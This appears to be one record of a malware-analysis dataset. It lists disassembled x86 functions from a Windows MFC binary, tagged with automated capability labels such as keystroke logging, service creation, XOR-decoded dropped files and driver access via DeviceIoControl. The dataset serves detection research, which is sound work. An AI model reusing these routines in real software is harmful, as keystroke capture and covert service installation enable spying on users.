joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d3200
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x5b365f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
lea esi, [eax + 7]
mov edi, ecx
shr esi, 3
shl esi, 3
push esi
mov dword [esp + 0x10], 0
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
add esp, 4
mov ebp, eax
push ecx
push esi
push ebp
push edx
mov ecx, edi
call fcn.004d2d40
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push ebp
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], eax
call fcn.004be0ae
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
mov dword [esp + 0x1c], 1
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x24]
add esp, 4
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_4
mov dword [esp + 0xc], 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10

Function at 0x4d32d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5b3697
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
push edi
mov ebp, ecx
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
mov eax, dword [eax - 8]
lea edi, [eax + 0xa]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
add esp, 4
mov esi, eax
lea edx, [esp + 0x28]
push ecx
push edi
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call sub.MFC42.DLL_CString::CString_4
mov ecx, ebp
call fcn.004d3140
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
call fcn.004be0ae
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push esi
and ecx, 3
mov byte [esp + 0x20], 2
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x28]
add esp, 4
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_4
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x14
ret 0xc
Function at 0x4d5480
Capabilities:
Create thread
Resume thread

Disassembly:
mov ecx, dword [ecx + 0x28]
jmp 0x4df700
sub esp, 8
push esi
mov esi, ecx
mov eax, dword [esi + 0x78]
test eax, eax
je 0x4df741
call fcn.004e0490
test eax, eax
je 0x4df748
lea eax, [esp + 8]
push eax
push 4
push esi
push 0x4dfda0
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 0x94], eax
test eax, eax
je 0x4df741
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
pop esi
add esp, 8
ret
mov eax, dword [esi + 0x9c]
test eax, eax
je 0x4df741
mov ecx, dword [eax]
lea edx, [esp + 8]
push edi
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [esi + 0x9c]
lea edx, [esp + 8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov ecx, dword [esp + 8]
push 0
mov edi, ecx
mov eax, dword [esi + 0x9c]
neg edi
push edi
mov edi, dword [esp + 0x14]
push edi
push ecx
mov ecx, dword [esi + 0x54]
mov edx, dword [eax]
push 0
push ecx
mov ecx, dword [esi + 0x50]
push ecx
mov ecx, dword [esi + 0x7c]
push 0
push 0
push ecx
push eax
call dword [edx + 0x20]
test eax, eax
pop edi
jne 0x4df741
mov edx, dword [esi + 0x20]
push eax
push eax
push edx
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, 1
pop esi
add esp, 8
ret
Function at 0x4d5f60
Capabilities:
Access peb ldr_data
Get ntdll base address
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x5b3a3e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov dword [esp + 0x24], ebp
call fcn.004d36c0
mov al, byte [esp + 0x13]
lea esi, [ebp + 0xa0]
xor ebx, ebx
mov dword [esp + 0x30], ebx
mov byte [esi], al
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [ebp], 0x604ac0
mov ecx, dword [str.ListBox]
push ecx
lea ecx, [ebp + 4]
mov byte [esp + 0x34], 1
call fcn.004be0ae
mov eax, 0x78
mov ecx, 0x64
mov dword [ebp + 0x1c], eax
mov dword [ebp + 0x20], ecx
push str.list1
lea ecx, [esp + 0x18]
mov dword [ebp + 0xb0], 0xffffffff
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esi + 8]
mov edx, dword [esi + 0xc]
sub edx, eax
mov byte [esp + 0x30], 2
sar edx, 2
cmp edx, 1
mov edi, eax
jae 0x4d60cb
mov edx, dword [esi + 4]
cmp edx, ebx
je 0x4d6013
mov ecx, eax
sub ecx, edx
sar ecx, 2
cmp ecx, 1
ja 0x4d6018
mov ecx, 1
cmp edx, ebx
jne 0x4d6020
xor eax, eax
jmp 0x4d6025
sub eax, edx
sar eax, 2
add eax, ecx
cmp eax, ebx
mov dword [esp + 0x20], eax
jge 0x4d6031
xor eax, eax
shl eax, 2
push eax
call sub.MFC42.DLL_operatornew
mov dword [esp + 0x20], eax
mov ebx, eax
mov eax, dword [esi + 4]
add esp, 4
cmp eax, edi
mov dword [esp + 0x18], eax
je 0x4d6070
jmp 0x4d6054
mov eax, dword [esp + 0x18]
push eax
push ebx
call fcn.00490460
mov eax, dword [esp + 0x20]
add esp, 8
add eax, 4
add ebx, 4
cmp eax, edi
mov dword [esp + 0x18], eax
jne 0x4d6050
lea ecx, [esp + 0x14]
push ecx
push 1
push ebx
mov ecx, esi
call fcn.004d93c0
mov edx, dword [esi + 8]
add ebx, 4
push ebx
push edx
push edi
mov ecx, esi
call fcn.004d9380
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
push eax
push ecx
mov ecx, esi
call fcn.0048fe10
mov eax, dword [esi + 4]
push eax
call sub.MFC42.DLL_operatordelete
mov edi, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
add esp, 4
mov ecx, esi
lea eax, [edi + edx*4]
mov dword [esi + 0xc], eax
call fcn.004d9250
lea ecx, [edi + eax*4 + 4]
mov dword [esi + 4], edi
mov dword [esi + 8], ecx
jmp 0x4d6148
mov edx, eax
sub edx, edi
sar edx, 2
cmp edx, 1
jae 0x4d6117
lea ecx, [edi + 4]
push ecx
push eax
push edi
mov ecx, esi
call fcn.004d9380
mov eax, dword [esi + 8]
lea edx, [esp + 0x14]
mov ecx, eax
push edx
sub ecx, edi
mov edx, 1
sar ecx, 2
sub edx, ecx
mov ecx, esi
push edx
push eax
call fcn.004d93c0
mov ecx, dword [esi + 8]
lea eax, [esp + 0x14]
push eax
push ecx
push edi
call fcn.004d9520
add esp, 0xc
jmp 0x4d6144
push eax
push eax
add eax, 0xfffffffc
mov ecx, esi
push eax
call fcn.004d9380
mov eax, dword [esi + 8]
push eax
add eax, 0xfffffffc
push eax
push edi
call fcn.004d9550
lea edx, [esp + 0x20]
lea eax, [edi + 4]
push edx
push eax
push edi
call fcn.004d9520
add esp, 0x18
add dword [esi + 8], 4
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString
push 5
call dword [sym.imp.USER32.dll_GetSysColor]
mov ecx, dword [esp + 0x28]
mov dword [ebp + 0x70], eax
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x4d7fd0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x5b3cc6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x24], edi
call fcn.004d36c0
mov al, byte [esp + 0x13]
lea esi, [edi + 0xa0]
xor ebx, ebx
mov dword [esp + 0x30], ebx
mov byte [esi], al
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [edi], 0x604b80
mov ecx, dword [str.TabControl]
lea ebp, [edi + 4]
push ecx
mov ecx, ebp
mov byte [esp + 0x34], 1
call fcn.004be0ae
push ebp
lea edx, [esp + 0x24]
push str.CoreLibQUIControl_
push edx
call sub.MFC42.DLL_operator
push str.TabName
push eax
lea eax, [esp + 0x24]
mov byte [esp + 0x38], 2
push eax
call sub.MFC42.DLL_operator_3
mov eax, dword [eax]
push ebx
push ebx
lea ecx, [esp + 0x20]
push eax
push ecx
mov byte [esp + 0x40], 3
call fcn.00401127
add esp, 0x10
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x30], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_3
mov byte [esp + 0x30], 7
mov ebp, 1
mov edx, dword [esp + 0x18]
push ebp
push edx
lea eax, [esp + 0x1c]
push str._s_d
push eax
call sub.MFC42.DLL_CString::Format_1
mov eax, dword [esi + 8]
add esp, 0x10
lea ecx, [esp + 0x14]
push ecx
push 1
push eax
mov ecx, esi
call fcn.0048ff10
inc ebp
cmp ebp, 2
jle 0x4d8099
mov eax, 0x78
mov ecx, 0x64
mov dword [edi + 0x1c], eax
mov dword [edi + 0x20], ecx
lea ecx, [esp + 0x14]
mov dword [edi + 0xb0], ebx
mov byte [esp + 0x30], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x28]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x4d86c0
Capabilities:
Delete file
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x5b3d58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, ecx
mov dword [esp + 8], edi
call fcn.004d36c0
mov dword [edi], 0x604bc0
mov eax, dword [str.Timer]
xor esi, esi
push eax
lea ecx, [edi + 4]
mov dword [esp + 0x18], esi
call fcn.004be0ae
mov eax, 0x18
mov dword [edi + 0xa0], esi
mov ecx, eax
mov dword [edi + 0x1c], eax
mov dword [edi + 0x20], ecx
mov eax, dword [0x6b5fe8]
cmp eax, esi
jne 0x4d879d
push ebx
push 0x647844
push str.timer_icon.ico
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
cmp ebx, esi
je 0x4d8764
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_fputc]
xor ecx, ecx
push ebx
mov cl, byte [esi + 0x603400]
xor ecx, 0x7d
push ecx
call ebp
add esp, 8
inc esi
cmp esi, 0xcbe
jb 0x4d873e
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop ebp
push 0x10
push 0
push 0
push 1
push str.timer_icon.ico
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
push str.timer_icon.ico
mov dword [0x6b5fe8], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
mov ecx, dword [esp + 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x4d8d70
Capabilities:
Delete file
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x5b3dec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x1c], esi
call fcn.004d36c0
lea edi, [esi + 0xa4]
mov dword [esp + 0x28], 0
mov ecx, edi
call sub.MFC42.DLL_CString::CString_3
lea ebp, [esi + 0xa8]
mov byte [esp + 0x28], 1
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_3
mov dword [esi], 0x604c20
mov eax, dword [str.BrowseBox]
lea ebx, [esi + 4]
push eax
mov ecx, ebx
mov byte [esp + 0x2c], 2
call fcn.004be0ae
mov eax, 0x78
mov ecx, 0x15
mov dword [esi + 0x1c], eax
push 5
mov dword [esi + 0x20], ecx
call dword [sym.imp.USER32.dll_GetSysColor]
push ebx
lea ecx, [esp + 0x1c]
push str.CoreLibQUIControl_
push ecx
mov dword [esi + 0x70], eax
mov dword [esi + 0xa0], 0
call sub.MFC42.DLL_operator
push str.Filter
lea edx, [esp + 0x18]
push eax
push edx
mov byte [esp + 0x34], 3
call sub.MFC42.DLL_operator_3
mov eax, dword [eax]
push 0
push 0
push eax
lea eax, [esp + 0x1c]
mov bl, 4
push eax
mov byte [esp + 0x38], bl
call fcn.00401127
add esp, 0x10
push eax
mov ecx, edi
mov byte [esp + 0x2c], 5
call sub.MFC42.DLL_CString::operator_3
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::CString
push 0x659680
mov ecx, ebp
call fcn.004be0ae
mov eax, dword [0x6b5fec]
mov ebp, dword [sym.imp.MSVCRT.dll_fputc]
test eax, eax
jne 0x4d8ef3
push 0x647844
push str.browsebox_file.ico
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4d8ece
xor edi, edi
xor ecx, ecx
push ebx
mov cl, byte [edi + 0x6040c0]
xor ecx, 0x7d
push ecx
call ebp
add esp, 8
inc edi
cmp edi, 0x47e
jb 0x4d8ea9
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0x10
push 0
push 0
push 1
push str.browsebox_file.ico
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
push str.browsebox_file.ico
mov dword [0x6b5fec], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x6b5ff0]
test eax, eax
jne 0x4d8f61
push 0x647844
push str.browsebox_dir.ico
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4d8f3c
xor edi, edi
xor edx, edx
push ebx
mov dl, byte [edi + str.mm_]
xor edx, 0x7d
push edx
call ebp
add esp, 8
inc edi
cmp edi, 0x47e
jb 0x4d8f17
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0x10
push 0
push 0
push 1
push str.browsebox_dir.ico
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
push str.browsebox_dir.ico
mov dword [0x6b5ff0], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x20]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x4da3a0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5b3f00
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebp
push esi
push edi
mov edi, dword [esp + 0x34]
mov ebp, ecx
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x4da495
lea ecx, [esp + 0x34]
lea esi, [ebp + 0x2c]
push edi
push ecx
mov ecx, esi
call fcn.004db820
mov eax, dword [esi + 4]
mov ecx, dword [esp + 0x34]
cmp ecx, eax
je 0x4da403
mov ecx, dword [ecx + 0xc]
mov eax, dword [edi]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__mbsicmp]
add esp, 8
test eax, eax
jl 0x4da403
lea eax, [esp + 0x34]
jmp 0x4da40e
mov eax, dword [esi + 4]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 0x30]
cmp eax, ecx
jne 0x4da48e
lea edx, [esp + 0x38]
lea eax, [esp + 0x14]
push edx
push edi
push eax
call fcn.004dd040
add esp, 0xc
mov edi, eax
push edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 0
call sub.MFC42.DLL_CString::CString_4
mov ecx, dword [edi + 4]
mov dword [esp + 0x10], ecx
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x34], 1
call fcn.004da920
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x38]
mov dword [eax + 0x10], ecx
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret 8
Function at 0x4dd770
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5b3fa6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
lea ebp, [esi + 4]
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_3
mov al, byte [esp + 0x2c]
mov cl, byte [esp + 0x2c]
xor ebx, ebx
push 0x18
mov dword [esp + 0x28], ebx
mov byte [esi + 8], al
mov byte [esi + 9], cl
mov byte [esi + 0x10], bl
call sub.MFC42.DLL_operatornew
mov edi, eax
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], edi
mov dword [edi + 4], ebx
mov dword [edi + 0x14], 1
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::_Lockit::constructor_void_]
cmp dword [0x6b6010], ebx
jne 0x4dd7f4
mov dword [0x6b6010], edi
mov dword [edi], ebx
mov edx, dword [0x6b6010]
mov dword [esp + 0x10], ebx
mov dword [edx + 8], ebx
mov edx, dword [0x6b600c]
lea ecx, [esp + 0x14]
inc edx
mov dword [0x6b600c], edx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x4dd81c
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov edi, dword [0x6b6010]
push 0x18
call sub.MFC42.DLL_operatornew
mov dword [eax + 4], edi
mov dword [eax + 0x14], ebx
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], ebx
mov dword [eax], eax
mov eax, dword [esi + 0xc]
add esp, 4
mov dword [eax + 8], eax
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
push ecx
mov ecx, ebp
mov byte [esp + 0x28], 1
mov dword [esi], eax
call sub.MFC42.DLL_CString::operator_3
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret 8
Function at 0x4e5c50
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0xc
push ebx
mov eax, dword [esp + 0x14]
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 0x80
push 3
push ebp
push 1
push SysReAllocStringLen
push eax
xor ebx, ebx
xor esi, esi
mov dword [esp + 0x2c], ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4e5d14
lea ecx, [esp + 0x14]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4e5cf9
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov edx, ecx
or edx, eax
je 0x4e5cf9
test eax, eax
jg 0x4e5cf9
jl 0x4e5cb3
cmp ecx, 0x6400000
ja 0x4e5cf9
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
je 0x4e5cf9
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x4e5cf9
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push ecx
push edx
push esi
call fcn.004e5af0
add esp, 0x10
mov ebp, eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test esi, esi
je 0x4e5d0d
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
test ebx, ebx
je 0x4e5d14
push ebx
call edi
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x4e6000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x60c3b0
push 0x4bf132
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
push str.qsefyjil
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x6b6124], eax
cmp eax, esi
je 0x4e613d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4e613d
push 0x647844
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov edi, eax
mov dword [ebp - 0x34], edi
cmp edi, esi
je 0x4e60a7
mov dword [ebp - 0x38], esi
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
cmp esi, dword [0x64cd08]
push edi
jae 0x4e609c
xor ecx, ecx
mov cl, byte [esi + 0x60592c]
xor ecx, 0x7d
push ecx
call ebx
add esp, 8
inc esi
mov dword [ebp - 0x38], esi
jmp 0x4e607c
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor esi, esi
cmp dword [ebp + 0x14], esi
je 0x4e60c3
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.004e65a0
add esp, 8
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4e613d
push esi
push 0x80
push 3
push esi
push esi
push 0xc0000000
push str..hkSymbolicLink
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x6b611c], eax
cmp eax, 0xffffffff
je 0x4e613d
mov dword [ebp - 0x24], esi
push esi
push esi
push esi
push 0x4e5ff0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x4e613d
mov dword [0x6b6120], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
push esi
lea edx, [ebp - 0x2c]
push edx
push 4
lea eax, [ebp - 0x30]
push eax
push 8
lea ecx, [ebp - 0x28]
push ecx
push 0x8000201c
mov edx, dword [0x6b611c]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4e613d
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004e6160
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4e6160
Capabilities:
Delete file
Terminate thread

Disassembly:
mov edi, dword [ebp - 0x1c]
cmp edi, esi
jne 0x4e61a3
mov eax, dword [0x6b6124]
cmp eax, esi
je 0x4e617d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x6b6124], esi
mov eax, dword [0x6b611c]
cmp eax, 0xffffffff
je 0x4e6194
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x6b611c], esi
mov eax, dword [ebp - 0x24]
cmp eax, esi
je 0x4e61a3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x4e6390
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x6b6124]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4e63b5
push 1
push eax
call fcn.004e63e0
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret
xor eax, eax
ret
Function at 0x4e63c0
Capabilities:
Log keystrokes

Disassembly:
push 1
push 1
call fcn.004e63e0
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret

Function at 0x4e6450
Capabilities:
Create service

Disassembly:
mov eax, dword [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0x10]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push 1
push 3
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x4e64a9
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x431
je 0x4e64a5
call esi
push eax
push str.failure:_CreateService__error_code:_u_n
push 0x6b6128
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
ret

Function at 0x4e6550
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push esi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4e6574
pop esi
add esp, 0x1c
ret
lea edx, [esp + 4]
push edi
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x4e7ef0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push esi
cmp ebx, 1
push edi
jl 0x4e7f0b
cmp ebx, 8
jg 0x4e7f0b
mov eax, 1
jmp 0x4e7f0d
xor eax, eax
mov esi, dword [esp + 0x14]
push str.bad_pack_level
push eax
push esi
call fcn.004e6750
mov eax, dword [esi + 0x6af70]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af78], ebp
jne 0x4e7f44
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
mov ecx, 0x7fff
xor eax, eax
lea edi, [esi + 0x4af70]
mov dword [esi + 0x6af6c], ebp
rep stosd dword es:[edi], eax
mov ax, word [ebx*8 + 0x60c512]
xor ecx, ecx
mov dword [esi + 0x6af98], eax
mov cx, word [ebx*8 + 0x60c510]
xor edx, edx
mov dword [esi + 0x6af9c], ecx
mov dx, word [ebx*8 + 0x60c514]
xor eax, eax
mov dword [esi + 0x6afa0], edx
mov ax, word [ebx*8 + 0x60c516]
cmp ebx, 2
mov dword [esi + 0x6af94], eax
jg 0x4e7fa5
mov eax, dword [esp + 0x1c]
or byte [eax], 4
jmp 0x4e7fb1
cmp ebx, 8
jl 0x4e7fb1
mov eax, dword [esp + 0x1c]
or byte [eax], 2
lea edi, [esi + 0x1af70]
push 0x10000
push edi
push esi
mov dword [esi + 0x6af84], ebp
mov dword [esi + 0x6af74], ebp
call dword [esi + 0xc]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af90], eax
je 0x4e802a
cmp eax, 0xffffffff
je 0x4e802a
cmp eax, 0x106
mov dword [esi + 0x6af8c], ebp
jae 0x4e7ff5
push esi
call fcn.004e8240
add esp, 4
mov dword [esi + 0x6af7c], ebp
xor eax, eax
mov edx, dword [esi + 0x6af7c]
xor ecx, ecx
mov cl, byte [edi + eax]
and edx, 0x3ff
and ecx, 0x7fff
shl edx, 5
xor ecx, edx
inc eax
cmp eax, 2
mov dword [esi + 0x6af7c], ecx
jb 0x4e7ffd
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], ebp
pop edi
pop esi
pop ebp
pop ebx
ret